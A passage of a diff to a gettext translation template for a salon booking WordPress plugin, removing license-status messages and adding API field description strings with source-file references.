System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1612\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:539\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1825\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1612\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:376\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:539\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1825\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:493\n+msgid \"The currency symbol the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:106\n-msgid \"License has reached its activation limit. You may need to deactivate it from another site first.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1866\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1866\n+msgid \"The custom field item.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:100\n-msgid \"License is already active on this site.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1862\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1862\n+msgid \"The custom fields for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:94\n-msgid \"License is over-activated. You have more sites using this license than allowed. Please deactivate it from some sites first.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1645\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1477\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1645\n+msgid \"The customer address for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:88\n-msgid \"Invalid license key. Please check your license key.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1457\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1625\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1457\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1625\n+msgid \"The customer email for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:82\n-msgid \"License has been disabled. Please contact support.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1439\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1439\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607\n+msgid \"The customer first name for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:76\n-msgid \"License has expired. Please renew your license.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1599\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1599\n+msgid \"The customer id for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:70\n-msgid \"License is valid but inactive. Please check your license status.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1448\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1448\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616\n+msgid \"The customer last name for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:64\n-msgid \"License is valid but already active on another site. You may need to deactivate it from the other site first.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1468\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1636\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1468\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1636\n+msgid \"The customer phone for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:58\n-msgid \"License activated successfully\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:178\n+msgid \"The customer profile for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:130\n-msgid \"License deactivated with success\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1398\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1568\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1398\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1568\n+msgid \"The date for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:158\n-msgid \"License Key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:162\n+msgid \"The date is too far, the maximum allowed is:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:171\n-msgid \"Refresh Status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:159\n+msgid \"The date is too near, the minimum allowed is:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:174\n-msgid \"Clear Status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:88\n+msgid \"The day is full\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:177\n-msgid \"Refresh Subscription\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:86\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:86\n+msgid \"The day is holiday\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:165\n-msgid \"Enter your license key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521\n+msgid \"The days of week for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:185\n-msgid \"License State\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:528\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:658\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:528\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:658\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:595\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:612\n+msgid \"The days.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:214\n-msgid \"unknown\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210\n+msgid \"The default value for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:205\n-msgid \"over activated\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1596\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1809\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1596\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1809\n+msgid \"The deposit for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:206\n-msgid \"License is being used on more sites than allowed. Please deactivate it from some sites first.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:510\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1633\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:629\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:577\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1844\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:510\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1633\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:629\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:577\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1844\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583\n+msgid \"The description for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:203\n-msgid \"disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471\n+msgid \"The discount rule.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:200\n-msgid \"site inactive\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467\n+msgid \"The discount rules for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:201\n-msgid \"License is valid but not 